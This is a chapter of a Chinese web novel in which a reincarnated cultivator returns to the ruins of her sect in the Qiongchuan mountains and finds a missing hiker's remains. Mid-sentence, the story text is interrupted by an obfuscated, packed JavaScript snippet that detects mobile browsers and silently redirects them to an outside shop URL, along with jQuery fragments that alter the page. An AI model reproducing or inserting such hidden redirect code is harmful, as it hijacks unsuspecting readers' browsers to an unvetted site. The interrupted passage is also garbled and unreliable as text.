她又坐回了原来的位置,离火盆最近的地方,关心道:“师兄,已经很晚了你不去休息吗?”
“楼上冷,睡不着。”
姜星冉本以为二师兄会客气一番,没想到他这么实诚地直接说了。
她磨了磨后槽牙,“司冥,无耻还是得看你。”
“不客气。”
小?也靠近火盆烤火,嗓子里发出舒服的呼噜声。姜星冉也把手靠近了火堆,原身血气不足,一降温就容易手脚冰凉,尽管自己在用心调理了,但二十年的身体底子一时很难扭转过来。
烤了一阵,她感觉自己的手脚都软和了下来。
姜星冉手镯银光一闪,小夜出现。
她起初还在担心它们共处一个空间会打架,但大猫只是扭头看了它一阵就没再理会了,小夜走到火盆的另一边烤火。
场面意外的和谐。
姜星冉原本坐直的身体又趴回了椅子上,外套反穿当成毯子披在自己的身上。
司冥的视线在两只猫上游离了一圈。
他并不喜欢猫,用现代的话来说,他是狗派。
小夜没见过司冥,好奇地盯着他瞧。
铁盆偶尔飘出一两个火星子,两人两猫都静静地听着柴火燃烧的声音。
姜星冉忽然想到了什么,开口问:“你回去过玄门吗?”
司冥颔首,“玄门遗址在现今穹川一带,要进深山。”
“改名了?”
“那一带经过好几次地震,山形易改,现在成了未开发的地界。”司冥停顿了一下,用铁钳子随手翻了翻火盆,火星噼里啪啦的爆开,飞溅到两小只身上,它俩赶紧弹开,但不敢凑火盆太近怕被烧着,只能不远不近继续趴着。
他继续往下说:“两年前我回去了一趟,那片山脉有蹊跷,但藏书阁里并没有记录。”
“你发现了什么?”
“穹川群山连绵,但灵气异常稀薄,近乎没有。后来我发现地气和生气之间运行的通道被钉了长棱锥,出入口被封死,天地灵气只聚不泄,再不流转。按照制式,应是皇室之物。”
姜星冉兀地反应过来,“封龙钉?”
玄门始祖走遍天南海北才找到了一处灵气充裕的龙脉,于是在此开山立派,此后玄门一路壮大。皇帝在屠戮后,仍不放心,怕其他术士借玄门的名头东山再起,就找人在灵脉的八处位置下了封龙钉。
硬生生坏了风水,让灵山成了一座甚至带着邪气的平庸山脉。
姜星冉气不打一处来。
恨不得把那死了一千多年的老皇帝的尸骨挖出来狠狠鞭笞。
“地震后,好几处封龙钉都松动了,被压制的灵脉才能重见天日。”司冥道。
此仇不报非君子。
她轻声问:“那些钉子还在山里?”
“我拔出来了。”
还没等她开口,司冥就似知道她打算做什么。
“那些钉子,我随手放进了王氏皇陵所在的那座山。”他说。
他以其人之道还治其人之身,八枚封龙钉以同样的手法下在了皇陵所处的山脉,封死了它们的灵脉,此前受到灵脉荫庇从而生生不息的王氏子孙,龙气尽断,长此以往家族运势也会由盛转衰。
姜星冉心想,他行动怎么这么快,被他抢在了前头。
现在自己手头上也没有什么重要的事,她也要去穹川一趟,姜星冉出神地盯着火光,思绪仿佛跨越千里,回到了玄门的遗址。
她抱着外套,渐渐地睡了过去。
半梦半醒时,她感觉有人走近了自己,挡住了屋内的暖光,她蹙眉想要从梦境中醒过来,可没过多久那人就走开了,并没有对她做什么。
她潜意识象征性地挣扎了两下,又沉沉地睡去。
**
一天后,姜星冉就从陇夏直飞穹川。
因着穹川一带旅游景点颇多,所以当地的旅游业很发达,大大小小的旅游公司不计其数,机场的广告牌都在打景点旅游的广告。
她随机挑选了一个广告牌上的电话,在当地旅社雇了一个当地的女向导帮自己挑选登山装备,跑了好几家户外店总算是买齐了一身的装备。
向导一条龙服务,开车载着姜星冉跑了两三天,全程解说当地的风土人情,还带着她去吃了特色美食。
向导瞧着姜星冉像新手登山客,推测她来这里旅游的最终目的是登山。便向客人推荐了几条成熟的户外线路,新手首选,这些线路不仅适合新手攀登,风景还很漂亮,山上也有旅馆可以入住。
姜星冉坐在副驾驶座,低头看着手机上的地图。
“谢谢。姐,你捎我到穹山山脚就好,我会给你尾款。”
向导万万没想到客人开口就直奔未开发的路线,她知道每年都有驴友为了征服大自然偷偷进山。
“穹山?那一带都没开发呢,妹子,听姐一句,你是新手,别挑战那个高难度的,那山阴的很,几年前就有个驴友在山上失踪了,现在都还没找到尸骨呢。”
姜星冉摇下车窗,望着远处那片绵延的群山,郁郁葱葱的密林爬满了整个山头。
忍不住鼻头发酸,师兄说斗转星移山形易变,可她看着,那座嶙峋的山峰还是和记忆里常年居住的三首山一模一样。
向导劝不住她,将车停在了穹山山脚,让姜星冉揣紧卫星电话,有事就及时报警求救。
姜星冉同向导大姐道谢,还多给了她几百块当做感谢费,就背上背包进山了。
她自身感觉不明显,但动物对地界的天然磁场异常敏锐,在感知到熟悉的地磁后,小?率先扑了出来,好奇地打量起周遭的密林。
她取出了包里的罗盘,跟着指向循着缓坡慢慢往上爬。
那八枚封龙钉被取走,山间灵气复苏,虽恢复不成以前人杰地灵的模样,但在山间行走时步伐也算得轻松。
穹山是穹川一带最前沿的山,是户外圈子登山客的挑战首选,走的人多了也踏出了一条隐秘的山路,但其余群山却极少人踏足。
姜星冉背了一周的口粮进山,按照记忆的线路走走停停。
以前玄门弟子走的多了,硬生生在群山之间踩出了几条山路,但玄门凋敝之后,杂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596621|203522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
草慢慢覆盖了山径,上山路再也找不到了。
她登至山顶,眺望葱绿的三首山,那是师门所在的山,是她此行的目的。
小夜也从手镯里跑了出来,但它毕竟不是山猫,跟着走了一段路之后又回到了手镯里,等休息好了之后又跑出来。
姜星冉此次回来寻找玄门遗址,还想借穹川线的灵气助力自己淬体,原身体质孱弱,提升体格是修行必不可少的一环。
还未登到三首山的山顶,她就发现了一些碎瓦块,半截都埋进了土里,只有一小部分裸露出来,和周遭的石块颜色不同,她一下子就注意到了。
瓦块经过风吹雨打,早就脆弱不堪,姜星冉没挖几下,就变得更碎了,捏在手里像一坯土。
很快,她就发现每走几步就能看到这样的碎瓦块,按照方位来看,此处就是以前他们的居所。
姜星冉在地上慢慢丈量,曾经房屋地基的轮廓慢慢变得清晰起来,这里是大师兄的…这里是三师姐的…这里是她的。
历经千年后再次踏上这片土地是一种很奇妙的感觉,她用石头垒出了屋子的形状,捡了几块碎的没那么厉害的瓦片凑合着封顶。
这便作为他们的衣冠冢。
姜星冉简单地祭拜过后,爬到了三首山的峰顶。
她找了一块还算平坦的地方,坐下来休息吃干粮,压缩饼干只能饱腹但味道并不好,小夜用尾巴蹭她的腿,以为它也想尝尝味道,就撕吧了一小块递过去。
谁曾想小夜只是闻了闻就嫌弃地走开了。
小?从崖边跑了回来,它一向喜欢到处野,姜星冉就由它了,它和自己同样对这片土地有着深沉的情感。
它嘴里叼着一只褪色的登山包,送到了她腿边。
登山包看起来有些年头了,依稀能看出以前是红色的,松松垮垮的不成形,链子锈迹斑斑早就封死打不开了。姜星冉从其他破口入手,小心翼翼地将裂缝撕开。
里面的东西都烂了,散发出一股腐朽的难闻气味,将背包倒过来后掉出来一个一碰就碎的钱包。
姜星冉翻开钱包,找到了能证明登山包主人的身份证,身份证上的字也变得模糊,但依稀能看清楚。
是一个男人,按照上面的出生年月日,他今年应该四十出头了,叫彭水,不是本地人。
她当场掐指一算,人已经不在了,要是能投胎,今年已经过上人生第一个本命年了。
“小?你从哪里找到这个包?”
大猫当场就嗷呜嗷呜地叫喊,把主人带到了悬崖边。它轻盈地跳了下去,压到了崖边横生出来的一棵歪脖子树上,它拍了拍粗壮的树干。
男人登至山顶后,脚一滑就摔了下去,刚好卡到树干上,可他并未能重新爬上来,尝试了几次减重往回爬,但最后脱力摔了下去。
崖底是溪流,但这样的高度拍在水上,人当场就没了。
姜星冉将他的身份证擦干净,放进背包里,想着下山以后带出去找到他的家属物归原主。
修整片刻,她重新出发,罗盘指向龙脉之眼,也是她此行的最终目的地。